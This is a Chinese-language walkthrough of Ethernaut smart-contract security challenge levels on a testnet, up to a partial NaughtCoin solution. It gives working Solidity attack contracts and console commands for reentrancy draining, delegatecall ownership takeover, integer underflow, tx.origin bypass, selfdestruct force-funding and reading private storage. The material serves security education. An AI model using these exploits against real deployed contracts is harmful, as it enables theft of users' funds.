随着区块链技术的逐渐推广,区块链安全也逐渐成为研究的热点。在其中,又以智能智能合约安全最为突出。Ethernaut正是入门研究区块链智能合约安全的好工具。
现在就可以开始Ethernaut的探索之旅了!
本节比较简单,所以我将更关注整体过程,介绍Ethernaut的实例创建等等,自己也梳理一下,所以会更详细一些。
进入Hello Ethernaut,会自动提示连接Metamask钱包,连接后,示意图如下:
按F12打开开发者工具,在console界面就可以进行智能合约的交互。
单击 Get New Instance 以创建新的合约实例。
可以看出我们实际上是通过与合约0xD991431D8b033ddCb84dAD257f4821E9d5b38C33
交互以创建实例。在辅导参数中,调用0xdfc86b17
方法,附带地址为0x4e73b858fd5d7a5fc1c3455061de52a53f35d966
作为参数。实际上,所有关卡创建实例时都会向0xD991431D8b033ddCb84dAD257f4821E9d5b38C33
,附带的地址则是用来表明所处的关卡,如本例URL地址也为
https://ethernaut.openzeppelin.com/level/0x4E73b858fD5D7A5fc1c3455061dE52a53F35d966
。
进入交易详情,查看内部交易,发现合约之间产生了调用。第一笔是由主合约调用关卡合约,第二笔是由关卡合约创建合约实例,其中实例地址为0x87DeA53b8cbF340FAa77C833B92612F49fE3B822
。
回到页面来看,可以确认生成实例的确为0x87DeA53b8cbF340FAa77C833B92612F49fE3B822
下面我们将进行合约的交互以完成本关卡。
此时,在console界面可以通过player
和contract
分别查看用户当前账户和被创建合约实例。player
代表用户钱包账户地址,而contract
则包含合约实例abi
、address
、以及方法信息。
按照提示要求输入await contract.info()
,得到结果'You will find what you need in info1().'
。
输入await contract.info1()
,得到结果'Try info2(), but with "hello" as a parameter.'
。
输入await contract.info2('hello')
,得到结果'The property infoNum holds the number of the next info method to call.
。
输入await contract.infoNum()
,得到infoNum参数值为42
(Word中的首位)。这就是下一步要调用的函数(info42
)。
输入await contract.info42()
,得到结果'theMethodName is the name of the next method.
,即下一步应当调用theMethodName
。
输入await contract.theMethodName()
,得到结果'The method name is method7123949.
。
输入await contract.method7123949()
,得到结果'If you know the password, submit it to authenticate().
。
所以通过password()
可以获取密码ethernaut0
,并将其提交到authenticate(string)
。
注意当在进行authenticate()
函数时,Metamask会弹出交易确认,这是因为该函数改变了合约内部的状态(以实现对关卡成功的检查工作),而其他先前调用的函数却没有(为View)。
此时,本关卡已经完成。可以选择Sumbit Instance进行提交,同样要签名完成交易
本题比较简单,更多的是要熟悉ethernaut的操作和原理。
根据先前的步骤,创建合约实例,其合约地址为0xe0D053252d87F16F7f080E545ef2F3C157EA8d0E
。
本关卡要求获得合约的所有权并清空余额。
观察其源代码,找到合约所有权变更的入口。找到两个,分别是contribute()
及receive()
,其代码如下:
function contribute() public payable {
require(msg.value < 0.001 ether);
contributions[msg.sender] += msg.value;
if(contributions[msg.sender] > contributions[owner]) {
owner = msg.sender;
}
}
receive() external payable {
require(msg.value > 0 && contributions[msg.sender] > 0);
owner = msg.sender;
}
按照contribute()
的逻辑,当用户随调用发送小于0.001 ether
,其总贡献额超过了owner
,即可获得合约的所有权。这个过程看似简单,但是通过以下constructor()函数可以看出,在创建时,owner
的创建额为1000 ether
,所以这种方法不是很实用。
constructor() public {
owner = msg.sender;
contributions[msg.sender] = 1000 * (1 ether);
}
再考虑receive()
函数,根据其逻辑,当用户发送任意ether
,且在此之前已有贡献(已调用过contribute()
函数),即可获得合约所有权。receive()
类似于fallback()
,当用户发送代币但没有指定函数对应时(如sendTransaction()
),会调用该方法。
在获取所有权后,再调用withdraw
函数既可以清空合约余额。
使用contract
命令,查看合约abi及对外函数情况。
调用await contract.contribute({value:1})
,向合约发送1单位Wei。
此时,调用await contract.getContribution()
查看用户贡献,发现贡献度为1,满足调用receiver()
默认函数的最低要求。
使用await contract.sendTransaction({value:1})
构造转账交易发送给合约,
调用await contract.owner() === player
确认合约所有者已经变更。
最后调用await contract.withdraw()
取出余额。
提交实例,显示关卡成功!
本关卡也算比较简单,主要需要分析代码内部的逻辑,理解fallback()
及receive
的原理。
根据先前的步骤,创建合约实例,其合约地址为0x891A088f5597FC0f30035C2C64CadC8b07566DC2
。
本关卡要求获取合约的所有权。首先使用contract
命令查看合约的abi及函数信息。
查看合约源码,寻找可能的突破点。结果发现Fal1out()
函数即为突破口。其代码如下:
/* constructor */
function Fal1out() public payable {
owner = msg.sender;
allocations[owner] = msg.value;
}
对于Solidity来说,其在0.4.22前的编译器版本支持同合约名的构造函数,如:
pragma solidity ^0.4.21;
contract DemoTest{
function DemoTest() public{
}
}
而在0.4.22起只支持利用constructor()
构建,如:
pragma solidity ^0.4.22;
contract DemoTest{
constructor() public{
}
}
但在本关卡中,很明显合约创建者出错,将Fallout
写成了Fal1out
。所以我们直接调用函数Fal1out
即可获得所有权。
使用await contract.owner()
获取当前合约所有者为0x0
地址。
调用await contract.Fal1out({value:1})
实现所有权的获取。
调用await contract.owner() === player
确认已获取合约所有权。
提交实例,本关卡完成!
本关卡比较简单,主要考察对于合约细节和构造函数的理解和把握。
根据先前的步骤,创建合约实例,其合约地址为0x85023291A7E49B6b9A5F47a22F5f23Ca92eB4e54
。
本关卡要求连续10次猜对硬币的正反面。
我们首先对代码展开观察,其代码示意如下图所示:
function flip(bool _guess) public returns (bool) {
uint256 blockValue = uint256(blockhash(block.number.sub(1)));
if (lastHash == blockValue) {
revert();
}
lastHash = blockValue;
uint256 coinFlip = blockValue.div(FACTOR);
bool side = coinFlip == 1 ? true : false;
if (side == _guess) {
consecutiveWins++;
return true;
} else {
consecutiveWins = 0;
return false;
}
}
}
可知,硬币的正反面是由当前区块前一区块的高度所决定的。如果我们不知道当前区块高度是多少,就难以提前预知硬币的正反面。且同时,合约通过lastHash保证同一区块只能有一次提交。
此处我们将引入合约间调用的概念,正如我们在Hello Ethernaut
关卡中分析的那样,合约也可以调用合约,具体操作则作为Internal Txns
,但仍与初始调用处于同一区块中。所以我们可以新建自己的智能合约,提前预测硬币正反面,并向关卡合约发出请求。
下面就到了合约间调用的内容了,其主要有几种:
我们将编写自己的智能合约,从以上三个思路入手,实现合约间调用。
利用Remix在线编辑器编写合约,代码如下所示,其中CoinFlipAttack
就是我们的攻击合约,而CoinFlip
和CoinFlipInterface
都是为目标合约提供abi接口而定义的:
pragma solidity ^0.6.0;
// 由于使用在线版本remix,所以需要
import "https://github.com/OpenZeppelin/openzeppelin-contracts/blob/v3.0.0/contracts/math/SafeMath.sol";
// 用于使用被调用合约实例(已知被调用合约代码)
contract CoinFlip {
// 复制本关卡代码,此处省略....
}
// 用于 使用被调用合约接口实例(仅知道被调用合约接口)
interface CoinFlipInterface {
function flip(bool _guess) external returns (bool);
}
contract CoinFlipAttacker{
using SafeMath for uint256;
address private addr;
CoinFlip cf_ins;
CoinFlipInterface cf_interface;
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
constructor(address _addr) public {
addr = _addr;
cf_ins = CoinFlip(_addr);
cf_interface = CoinFlipInterface(_addr);
}
// 当用户发出请求时,合约在内部先自己做一次运算,得到结果,发起合约内部调用
function getFlip() private returns (bool) {
uint256 blockValue = uint256(blockhash(block.number.sub(1)));
uint256 coinFlip = blockValue.div(FACTOR);
bool side = coinFlip == 1 ? true : false;
return side;
}
// 使用被调用合约实例(已知被调用合约代码)
function attackByIns() public {
bool side = getFlip();
cf_ins.flip(side);
}
// 使用被调用合约接口实例(仅知道被调用合约接口)
function attackByInterface() public {
bool side = getFlip();
cf_interface.flip(side);
}
// 使用call命令调用合约
function attackByCall() public {
bool side = getFlip();
addr.call(abi.encodeWithSignature("flip(bool)",side));
}
}
此时,我们选择0.6.12+commit.27d51765.js
的编译器,通过编译,如下图所示:
在部署页面,选择Injected Web3
,连接Metamask钱包
,调用攻击合约的构造函数,其中构造参数传入目标合约0x85023291A7E49B6b9A5F47a22F5f23Ca92eB4e54
。
小狐狸签名,合约部署完成,攻击合约地址为0xf0467DEE254dA52c8bF922B2A10BB835e7eb49fF
,显示如下调用接口,我们接下来将分别从以下三种方式展开攻击:
此时,连续猜中次数为4,点击attackByInterface
,弹出Metamask确认弹窗,确认,当前区块已成功挖出。
attackByCall
,弹出Metamask确认弹窗,确认,当前区块已成功挖出。无论是哪种方法都可以实现同区块内的合约调用,但一定要注意gas limit
的设置,如果不够会爆出out of gas
或者reverted
的错误,可以在小狐狸确认界面进行设置。
我们接下来可以使用任意调用再做4次直至到10,最终提交!
提交实例,本关卡完成!
本关卡主要考察solidity
的编写及合约间的调用。我在做的时候遇到了很多gas
相关的问题,以前不是很注意,现在要非常注意了!
根据先前的步骤,创建合约实例,其合约地址为0xba9405B2d9D1B92032740a67B91690a70B769221
。
分析其合约源码,要求变更合约所有权,其突破口在于changeOwner
函数,函数代码如下所示:
function changeOwner(address _owner) public {
if (tx.origin != msg.sender) {
owner = _owner;
}
}
其先决条件在于tx.origin
与msg.sender
不相同,那我们应对此展开研究。
tx.origin
会遍历整个调用栈并返回最初发送调用(或交易)的帐户的地址。msg.sender
为直接调用智能合约功能的帐户或智能合约的地址两者区别在于如果同一笔交易内有多笔调用,tx.origin
保持不变,而msg.sender
将会发生改变。我们将以此为根据,编写智能合约,将该合约作为中间人展开攻击。
同样在remix中编写合约,合约代码如下,与上一关卡类似,通过interface
接口创建合约接口实例,我们则通过attack函数执行攻击
:
pragma solidity ^0.6.0;
interface TelephoneInterface {
function changeOwner(address _owner) external;
}
contract TelephoneAttacker {
TelephoneInterface tele;
constructor(address _addr) public {
tele = TelephoneInterface(_addr);
}
function attack(address _owner) public {
tele.changeOwner(_owner);
}
}
初始时,合约所有权尚未得到。
我们在remix上部署合约,参数附带0xba9405B2d9D1B92032740a67B91690a70B769221
以初始化被攻击合约接口实例tele
。生成攻击合约地址为0x25C2fdE7f0eC90fD3Ef3532261ed84D0f0201811
。
在remix上调用attack
函数,参数为0x0bD590c9c9d88A64a15B4688c2B71C3ea39DBe1b
即钱包地址。
此时,再检查所有权发现已发生变更。
提交实例,本关卡已成功通过。
tx.origin
这个有很多合约在用,但如果使用不当,会引起很严重的后果。
比如说,我设置了合约,引起被攻击合约主动发起调用,在接受函数里展开攻击,就可以绕过tx.origin
相关的安全设置。
根据先前的步骤,创建合约实例,其合约地址为0x7867dB9A1E0623e8ec9c0Ab47496166b45832Eb3
。
由合约创建过程来看,应是实例创建合约0xD991431D8b033ddCb84dAD257f4821E9d5b38C33
调用关卡合约0x63bE8347A617476CA461649897238A31835a32CE
创建目标合约,并向player
转账20token
。
分析其合约源码,要求增加已有的代币数量,应该从transfer
函数入手,函数代码如下:
function transfer(address _to, uint _value) public returns (bool) {
require(balances[msg.sender] - _value >= 0);
balances[msg.sender] -= _value;
balances[_to] += _value;
return true;
}
这里代码里犯了一个错误,那就是对于uint
运算没有做溢出检查,举例来说对于8位无符号整型,会有0-1=255
及255+1=0
的错误产生。我们就可以利用这一漏洞,实现代币的无限增发。
调用await contract.transfer('0x63bE8347A617476CA461649897238A31835a32CE',21)
函数,注意此处不能给自身转账,因为会先出现下溢出,再出现上溢出,我们直接转账给关卡合约21个token
,此时20-21
发生了下溢出,达到最大值。此时,可以看到,代币余额发生了增长。
这就是为什么我们需要Safemath
。写合约时一定要注意上溢出和下溢出!
根据先前的步骤,创建合约实例,其合约地址为0x3E446558C8e3BBf1CE93324D330E89e5Fd964b7d
。
本关卡要求**获取合约Delegation
**的所有权。
对合约展开分析,源代码部分提供了两部分合约,一个是Delegate
,另一个则是Delegation
。两合约间通过Delegation
的fallback
函数,基于delegatecall
方法展开调用。
fallback() external {
(bool result,) = address(delegate).delegatecall(msg.data);
if (result) {
this;
}
}
对于Delegation
合约来说,其内部找不到更换所有权的代码,我们就可以换个思路,看看Delegate
合约里有没有。分析合约可以看到,pwn()
可以实现。
function pwn() public {
owner = msg.sender;
}
这时候可能有人会感到疑惑,Delegate
和Delegation
是两个不同的合约,如果我们仅去修改Delegate
里的owner
,会对跨合约调用它的Delegation
产生影响吗?
在 Solidity 中,call 函数簇可以实现跨合约的函数调用功能,其中包括 call
、delegatecall
和callcode
,我们下面就要来分析以下三种跨合约调用方法的区别(以用户A通过B合约调用C合约为例):
call
: 最常用的调用方式,调用后内置变量 msg 的值会修改为调用者B,执行环境为被调用者的运行环境C。delegatecall
:调用后内置变量 msg 的值A不会修改为调用者,但执行环境为调用者的运行环境Bcallcode
:调用后内置变量 msg 的值会修改为调用者B,但执行环境为调用者的运行环境B所以当时用delegatecall
时,尽管我们是调用Delegate
合约中的函数,但实际上,我们是在Delegation
环境里去做得,可以理解为将代码“引入”了。因此,我们可以实现合约权的转移。
初始化时,有合约所有权并不为player
。
使用contract.sendTransaction({value:1,data:web3.utils.keccak256("pwn()").slice(0,10)})
来发起调用,结果失败,仔细一看是因为fallback
没有payable
修饰。这是一开始的理解错误,观察不够仔细。
去掉value
,重新调用await contract.sendTransaction({data:web3.utils.keccak256("pwn()").slice(0,10)})
。此时合约所有权已完成转移。解释一下,这里data
是为了调用pwn
函数,使用sha3
编码并取了前4个字节,此处因为没有入参,所以作了简化。
提交合约实例,本关卡成功!
合约间的调用需要非常谨慎,delegate
原来是为了编程弹性,但如果处理不当,会给安全带来很大问题!
不好意思,最近工作上略有些忙,因为工作涉及到对外网络安全贸易,所以最近一直忙着培训。但这块肯定会持续完成。
根据先前的步骤,创建合约实例,其合约地址为0xa39A09c4ebcf4069306147035dd7cE7735A25532
。
本关卡要求给合约Force
转入代币,但是究其合约,似乎并没有payable函数。那么我们该怎么做呢?
在实际中,如果要给智能合约转账,有几种常见方法。
三种方式存在一个前提,即接受合约必须能够接受转账,即存在payable函数,否则将会回退。
那么有没有其他方法呢?
However, there’s another way to transfer funds without obtaining the funds first: The Self Destruct function. Selfdestruct is a function in the Solidity smart contract used to delete contracts on the blockchain. When a contract executes a self-destruct operation, the remaining ether on the contract account will be sent to a specified target, and its storage and code are erased
也就是说,我们可以通过合约的自毁函数,将合约剩下的以太发送给指定地址,此时不需要判断该地址谁否能够接受转账。所以我们可以构建智能合约,完成自毁,即可实现攻击。
合约本身并不提供余额查询,所以我们前往链上查询。此时合约余额为0。
pragma solidity ^0.6.0;
contract ForceAttacker {
constructor() public payable{
}
function destruct(address payable addr) public {
selfdestruct(addr);
}
}
新建合约,部署到Rinkeby测试网,合约地址0x7718f44c496885708ECb8CC84Af4F3d51338cb3C
以被攻击合约为变量,调用destruct
函数。
此时可以看到,被攻击合约链上地址余额发生变化,从0变为了50。
selfdestruct
不会触发payable检查,如果没有很好的检查,很可能会对合约本身的运行带来难以预估的影响。为了防止黑客对于this.balance
的操纵,我们应使用balance
变量来接受特定业务逻辑的余额。
根据先前的步骤,创建合约实例,其合约地址为0x81E840E30457eBF63B41bE233ed81Db4BcCF575E
。
对合约展开分析,本关卡的要求是解锁,而解锁的唯一办法是输入正确的password
。本关卡对password
的定义是私有变量,那时不时就看不到了呢?
答案是否定的,一切变量都存储在链上,我们自然可以看到。现在问题就是,在哪看,用什么看?
第一个回答是用什么看?
web3.eth.getStorageAt(address, position [, defaultBlock] [, callback])
,使用这个命令可以看到储存在某个地址的存储内容。
其参数代表含义如下:
String - The address to get the storage from.
Number|String|BN|BigNumber - The index position of the storage.
Number|String|BN|BigNumber - (optional) If you pass this parameter it will not use the default block set with web3.eth.defaultBlock. Pre-defined block numbers as "earliest", "latest" and "pending" can also be used.
Function - (optional) Optional callback, returns an error object as first parameter and the result as second.
一般来说,我们使用web3.eth.getStorageAt("0x407d73d8a49eeb85d32cf465507dd71d507100c1", 0) .then(console.log);
,后面两个参数一般都是可选的。
第二个回答是怎么看?
以太坊数据存储会为合约的每项数据指定一个可计算的存储位置,存放在一个容量为 2^256 的超级数组中,数组中每个元素称为插槽(slot),其初始值为 0。虽然数组容量的上限很高,但实际上存储是稀疏的,只有非零 (空值) 数据才会被真正写入存储。每个数据存储的插槽位置是一定的。
# 插槽式数组存储
----------------------------------
| 0 | # slot 0
----------------------------------
| 1 | # slot 1
----------------------------------
| 2 | # slot 2
----------------------------------
| ... | # ...
----------------------------------
| ... | # 每个插槽 32 字节
----------------------------------
| ... | # ...
----------------------------------
| 2^256-1 | # slot 2^256-1
----------------------------------
每个插槽32字节,对于值类型,其存放是连续的,满足以下规律。
例如以下合约
pragma solidity ^0.4.0;
contract C {
address a; // 0
uint8 b; // 0
uint256 c; // 1
bytes24 d; // 2
}
其存储布局如下:
-----------------------------------------------------
| unused (11) | b (1) | a (20) | <- slot 0
-----------------------------------------------------
| c (32) | <- slot 1
-----------------------------------------------------
| unused (8) | d (24) | <- slot 2
-----------------------------------------------------
回到本题,很明显存储摆放应该是
-----------------------------------------------------
| unused (31) | locked(1) | <- slot 0
-----------------------------------------------------
| password (32) | <- slot 1
-----------------------------------------------------
所以我们可以通过slot1
获取password信息。
输入await web3.eth.getStorageAt(contract.address,1)
获取byte32 password
。
此时,合约仍然上锁(可通过await contract.locked()
)查询。
调用await contract.unlock('0x412076657279207374726f6e67207365637265742070617373776f7264203a29')
实现对合约的解锁。
此时,合约已经解锁。
提交实例,本关卡成功通过。
区块链上没有秘密。
根据先前的步骤,创建合约实例,其合约地址为0xb21Cf6f8212B2Ef639728Ae87979c6d63d976Ef2
。对其合约展开分析,其合约功能在于以下代码段:
receive() external payable {
require(msg.value >= prize || msg.sender == owner);
king.transfer(msg.value);
king = msg.sender;
prize = msg.value;
}
当接收到外来转账时,如果发送金额大于当前奖金,即将发送金额发送给当前国王,更新奖金,而发送者将成为新的国王。
本关卡目的在于打破这一循环。
打破这一循环的入手点就在于该函数交互实际上是一个连续的过程。
我们只要作为国王,拒不接受合约转来的奖金,整个过程即可回退。
我们同样在remix里编写攻击合约。如下:
contract KingAttacker {
constructor() public payable{
}
function attack(address payable addr) public payable{
addr.call.value(msg.value)("");
}
fallback() external payable{
revert();
}
}
在接受函数,我们主动回退,即可防止合约继续执行。
首先我们先看看当前我们需传入多少。在目标合约详情页面,可以看到,创建合约时传入0.001Ether。
所以我们创建攻击合约(0x9Fd9980aCb9CAb42EDE479e99e01780E8c79b208
)后,传入2Finney,调用攻击合约attack
方法。
此时我们看看国王,使用await contract._king()
,可以看出,国王已经变成攻击合约。
提交合约,关卡成功!
攻击时可以从合约执行的多个角度入手。
根据先前的步骤,创建合约实例,其合约地址为0xfe3E5BdD6E5ae5efb4eea5735b3E3738991fFc2e
。对其合约展开分析,其合约提取函数如下:
function withdraw(uint _amount) public {
if(balances[msg.sender] >= _amount) {
(bool result,) = msg.sender.call{value:_amount}("");
if(result) {
_amount;
}
balances[msg.sender] -= _amount;
}
}
这个合约的问题在哪里呢?那就是他弄错了记账、转账的顺序(先转账,再记账)。一般来说,我们去银行取钱,银行都会先在自己的账本上记一笔,然后才会把钱取出来给我们。虽然说,我们也不可能同时出现在两个地方取钱,但在区块链中,有没有可能呢?
答案是有的,如果我们在接受合约转账的同时又发起新的取钱操作,那么很明显,如果是连续的调用过程,在未修改账本的情况下,合约仍会给用户转账?
那么,怎样做才能保证实现连续的调用呢?那就是使用合约去与被攻击合约进行交互。
我们同样在remix里编写攻击合约。如下:
pragma solidity ^0.6.0;
interface Reentrance{
function donate(address _to) external payable;
function withdraw(uint _amount) external;
function balanceOf(address _who) external view returns (uint balanceOf);
}
contract Attacker {
Reentrance ReentranceImpl;
uint256 requiredValue;
constructor(address addr) public payable{
ReentranceImpl = Reentrance(addr);
requiredValue = msg.value;
}
function getBalance(address addr) public view returns (uint){
return addr.balance;
}
function donate() public {
ReentranceImpl.donate{value:requiredValue}(address(this));
}
function withdraw(uint _amount) public {
ReentranceImpl.withdraw(_amount);
}
function destruct() public {
selfdestruct(msg.sender);
}
fallback() external payable {
uint256 ReentranceImplValue = address(ReentranceImpl).balance;
if (ReentranceImplValue >= requiredValue) {
withdraw(requiredValue);
}else if(ReentranceImplValue > 0) {
withdraw(ReentranceImplValue);
}
}
}
我们使用ReentranceImpl
标记目标合约,使用requiredValue
来表示合约在目标合约中存的钱。同时,我们又定义fallback
函数,每当受到资金时,就会调用withdraw
函数,从目标合约中提取余额。让我们进行合约交互。
先查看合约本身有多少以太,在浏览器上查看,发现总共有0.001以太。
所以我们在部署合约时传入500000000000000 Wei,这样能反复调用三次,以确认合约的攻击效果,同时我们传入目标合约地址0xfe3E5BdD6E5ae5efb4eea5735b3E3738991fFc2e
,部署后,攻击合约地址为0xc9bf4c2AcdBd38CF8f73541f78A2E30Eb5e91287
。
首先我们查询合约本身余额,为500000000000000 Wei,其次我们查询目标合约余额,为1000000000000000 Wei。
我们利用donate
函数向目标合约存入余额。
此时,目标合约的余额也变成了0.0015Ether。
我们接下来发起攻击,即使用withdraw
函数提取500000000000000 Wei。发起交易时,应在小狐狸界面修改gas。等待交易完成,此时有合约中实现了三笔转账。
而目标合约余额已经归零,攻击完成!
提交实例,本关卡完成!
最后别忘了通过合约自毁(destruct)收回余额哦~
合约的设计应当充分谨慎,任意一点疏忽都会带来很大影响
根据先前的步骤,创建合约实例,其合约地址为0x02B4EC4229691A89Df659F8AEb1D6267F4bc85BE
。对其合约展开分析,其合约核心代码如下:
function goTo(uint _floor) public {
Building building = Building(msg.sender);
if (! building.isLastFloor(_floor)) {
floor = _floor;
top = building.isLastFloor(floor);
}
}
由于先判断isLastFloor
,不满足后才进入if
结构体,并再次获取isLastFloor
。该合约于是想当然认为,第二次获取的结果依然不满足,是这样吗?
由于对外调用带来的影响,在外部调用时合约无法控制外部合约的行为。所以我们可以编写智能合约发起相关进攻。
我们同样在remix里编写攻击合约。如下:
pragma solidity ^0.6.0;
interface Elevator{
function goTo(uint _floor) external;
}
contract Building {
Elevator elevatorImpl;
bool isTop;
constructor(address addr) public {
elevatorImpl = Elevator(addr);
isTop = false;
}
function flip() public {
isTop = !isTop;
}
function isLastFloor(uint) public returns (bool){
bool res = isTop;
flip();
return res;
}
function attack() public {
elevatorImpl.goTo(1);
}
}
其核心之处在于,每次调用isLastFloor
函数都会内部调用flip
函数完成变量isTop
的翻转,因此连续两次获取的结果是不一样的。
输入await contract.top()
查看是否为顶层,结果为false。
部署合约,传入目标合约0x02B4EC4229691A89Df659F8AEb1D6267F4bc85BE
,构建合约的地址为0x0906dCbd3C31CDfB6A490A04D7ea03fC19F7a40a
。
调用attack()
函数,发起对目标合约的攻击。
此时,再次查看,输入await contract.top()
查看是否为顶层,结果为true。
提交实例,本关卡成功!
合约是难以相信的,即使合约编写的再好,无法控制他人的行为,也毫无用处。
根据先前的步骤,创建合约实例,其合约地址为0x5a5F99370275Ca9068DfDF9E9edEB40Cb8d9aeFf
。对其合约展开分析,其合约核心代码如下:
function unlock(bytes16 _key) public {
require(_key == bytes16(data[2]));
locked = false;
}
此时,应当输入data[2]
,而这又该怎么获得呢?很明显,我们还是要从存储机制入手。
bool public locked = true;
uint256 public ID = block.timestamp;
uint8 private flattening = 10;
uint8 private denomination = 255;
uint16 private awkwardness = uint16(now);
bytes32[3] private data;
这是变量定义,对应的,我们有槽存储分布如下:
-----------------------------------------------------
| unused (31) | locked(1) | <- slot 0
-----------------------------------------------------
| ID(32) | <- slot 1
-----------------------------------------------------
| unused (28) | awkwardness(2) | denomination (1) | flattening(1) | <- slot 2
-----------------------------------------------------
| data[0](32) | <- slot 3
-----------------------------------------------------
| data[1](32) | <- slot 4
-----------------------------------------------------
| data[2](32) | <- slot 5
-----------------------------------------------------
所以,data[2]
存储在slot 5里。
输入await web3.eth.getStorageAt(contract.address,5)
得到data2='0xad4d68dd2ede6bf23b06d5ed3076ab0d4aae1aac23a1ebaea656ec35650d4ac3'
。
此时bytes16与bytes32之间存在转换。要注意,以太坊有两种存储方式,大端(strings & bytes,从左开始)及小端(其他类型,从大开始)。因此,从32到16转换时,需要砍掉右边的16个字节。
我们该怎么做呢?即'0xad4d68dd2ede6bf23b06d5ed3076ab0d4aae1aac23a1ebaea656ec35650d4ac3'.slice(0,34)
。
之后,直接提交结果,准备解锁。contract.unlock('0xad4d68dd2ede6bf23b06d5ed3076ab0d')
。
此时,合约已经完成解锁。
提交实例,本关卡成功!
还是那句话,区块链上没有秘密。
大家好 我又回来了。最近真的很忙,我抓紧8月份将这一系列完成,然后进行下一步内容的分享。
根据先前的步骤,创建合约实例,其合约地址为0xBc0820c5Ab83Ab2E8e97Fa04DDd3444ECC212284
。本关卡的目的是满足gateOne
、gateTwo
和gateThree
,成功实现entrant
的修改。
那么我们需要怎么做呢?首先看一看modifier
分别提出了什么要求。看看能否满足和修改?
modifier gateOne() {
require(msg.sender != tx.origin);
_;
}
分析gateOne
,可以看出需要msg.sender != tx.origin
,这表明我们需要一个合约作为中转。
modifier gateTwo() {
require(gasleft().mod(8191) == 0);
_;
}
分析gateTwo
,这表明在执行到该步骤时,需要剩下的gas必须为8191的倍数,这需要我们对gas作出设定。
modifier gateThree(bytes8 _gateKey) {
require(uint32(uint64(_gateKey)) == uint16(uint64(_gateKey)), "GatekeeperOne: invalid gateThree part one");
require(uint32(uint64(_gateKey)) != uint64(_gateKey), "GatekeeperOne: invalid gateThree part two");
require(uint32(uint64(_gateKey)) == uint16(tx.origin), "GatekeeperOne: invalid gateThree part three");
_;
}
分析gateThree
,这表明需要输入特殊的bytes8数据,保证其1-16位为tx.origin的数据且17-32位为0(uint32(uint64(_gateKey)) == uint16(tx.origin),
),33-64位不全为0(uint32(uint64(_gateKey)) != uint64(_gateKey)
)。
所以我们可以整理思路,编写智能合约了。
我们同样在remix里编写攻击合约。如下:
pragma solidity ^0.6.0;
interface Gate {
function enter(bytes8 _gateKey) external returns (bool);
}
contract attackerSupporter {
uint64 offset = 0xFFFFFFFF0000FFFF;
bytes8 changedValue;
Gate gateImpl;
constructor(address addr) public {
gateImpl = Gate(addr);
}
function getAddress() public {
changedValue = bytes8(uint64(tx.origin) & offset);
}
function check1() public view returns (bool){
return uint32(uint64(changedValue)) == uint16(uint64(changedValue));
}
function check2() public view returns (bool){
return uint32(uint64(changedValue)) != uint64(changedValue);
}
function check3() public view returns (bool){
return uint32(uint64(changedValue)) == uint16(tx.origin);
}
function attack() public {
gateImpl.enter(changedValue);
}
}
这里主要看为什么能够解决gateThree
的需求。当获取输入的时候,会进行bytes8(uint64(tx.origin) & offset)
运算。
address
类型长度为160位,20字节,40个十六进制uint64(tx.origin)
对tx.origin
进行了截取,选取后64位,8字节,16十六进制。offset
类型为uint64
,默认值为0xFFFFFFFF0000FFFF
,最后的FFFF
保证其最后16位不发生改变,中间的0000
保证17-33位为0,剩下的FFFFFFFF
则保证34-64位不全为0(只要tx.origin
不是这样就好)。&
运算完成变换,以bytes8
存储在changedValue
变量,用以实际攻击。部署合约,传入目标合约0xBc0820c5Ab83Ab2E8e97Fa04DDd3444ECC212284
,构建合约的地址为0x9CeD0A7587C4dCb17F6213Ea47842c86a88ff43d
。
点击getAddress
,计算changedValue
。此时,点击check1
、check2
、check3
来查看gateThree
的要求是否满足。由截图可见,均满足。
由于gateOne
已经自动满足了,所以我们可以直接通过调用来调试实际的gas了。
点击attack
发起进攻,由于是跨合约调用,所以我们先将Gas Limit调大一些(实际远远不用这么大),如图所示。
此时,我们进入测试网Explorer查看交易详细信息,不出意外,交易将会被回滚。这是因为当前的gas没有满足要求。
点击右上角,选择Geth Debug Trace
来看详细的编译过程。
里面是每步操作的执行过程及其所消耗的GAS。
页面中搜索GAS,操作中总共有2个,分析整个调用顺序,应该前者是合约内部调用前发起,后者则是gateTwo
通过gasLeft
主动发起。所以记下该GAS操作后剩余的gas(因为查询本身也会消耗gas),此处为70215。我们可以根据该值除8191的余数调整gas limit直至完成攻击。
下表则是我们的发起过程,需要重复进行几次才能完成攻击。
原始gas Limit | GAS操作后剩余gas | 余数 | 下一次输入gas |
---|---|---|---|
100000 | 70215 | 4687 | 95313 |
95313 | 65601 | 73 | 95240 |
95240 | 65529 | 1 | 95239 |
注意当gas设置为95239后,交易成功。如截图所示:
输入await contract.entrant() == player
,此时返回true表明攻击成功。
提交实例,本关卡成功!
Gas的调试很有意思,值得细细研究。
根据先前的步骤,创建合约实例,其合约地址为0xc2F1c976Bc795C43F7C9B56Ab69d5c06Daa7d53F
。本关卡的目的是满足gateOne
、gateTwo
和gateThree
,成功实现entrant
的修改。
观察其核心代码,依旧是gateOne
、gateTwo
和gateThree
。
gateOne
依旧是要求msg.sender != tx.origin
,即必须有一个中间合约。gateTwo
要求extcodesize(caller())==0
,即调用者(对应msg.sender)的关联代码长度为0,而我们知道,智能合约代码是不为0的。gateThree
则要求输入对应的bytes8满足相应的要求。乍一看似乎gateOne
和gateTwo
无法同时满足,但是可以考虑到,当合约正在构建时,其关联代码也是为0的。所以我们可以在构建函数里发起攻击。
我们同样在remix里编写攻击合约。如下:
pragma solidity ^0.6.0;
interface Gate {
function enter(bytes8 _gateKey) external returns (bool);
}
contract attackerSupporter {
constructor(address addr) public {
Gate gateImpl = Gate(addr);
bytes8 input = bytes8(uint64(bytes8(keccak256(abi.encodePacked(address(this))))) ^ (uint64(0) - 1));
gateImpl.enter(input);
}
}
值得注意的是,我们这里针对gateThree
使用了主动下溢出获取全为1的uint64
(两次异或就消失了)。
部署合约,传入目标合约0xc2F1c976Bc795C43F7C9B56Ab69d5c06Daa7d53F
,构建合约的地址为0xE0CCEeA724E2eF32A573348975538DEf0eeBC74f
。
部署成功后,利用await contract.entrant() == player
查看是否攻击成功。答案是成功的。
那该如何保证不处理智能合约发来的请求呢?msg.sender=tx.origin
即可。
根据先前的步骤,创建合约实例,其合约地址为0x30A758458135a40eA5c59c7F171Fd6FFe08e00c2
。本关卡的目的是将自身的余额变为0。
乍一看合约,对player
存在如下限制:
if (msg.sender == player) {
require(now > timeLock);
_;
} else {
_;
}
似乎是无法绕过的,我们似乎也无法通过合约进攻,因为默认是扣去自身的token。
但有一看,NaughCoin
是继承ERC20
,而我们知道ERC20
中可不只一个转账函数。我们可以试试通过其他方法。
仔细一看,原始的ERC20
中还存在transferFrom
函数。
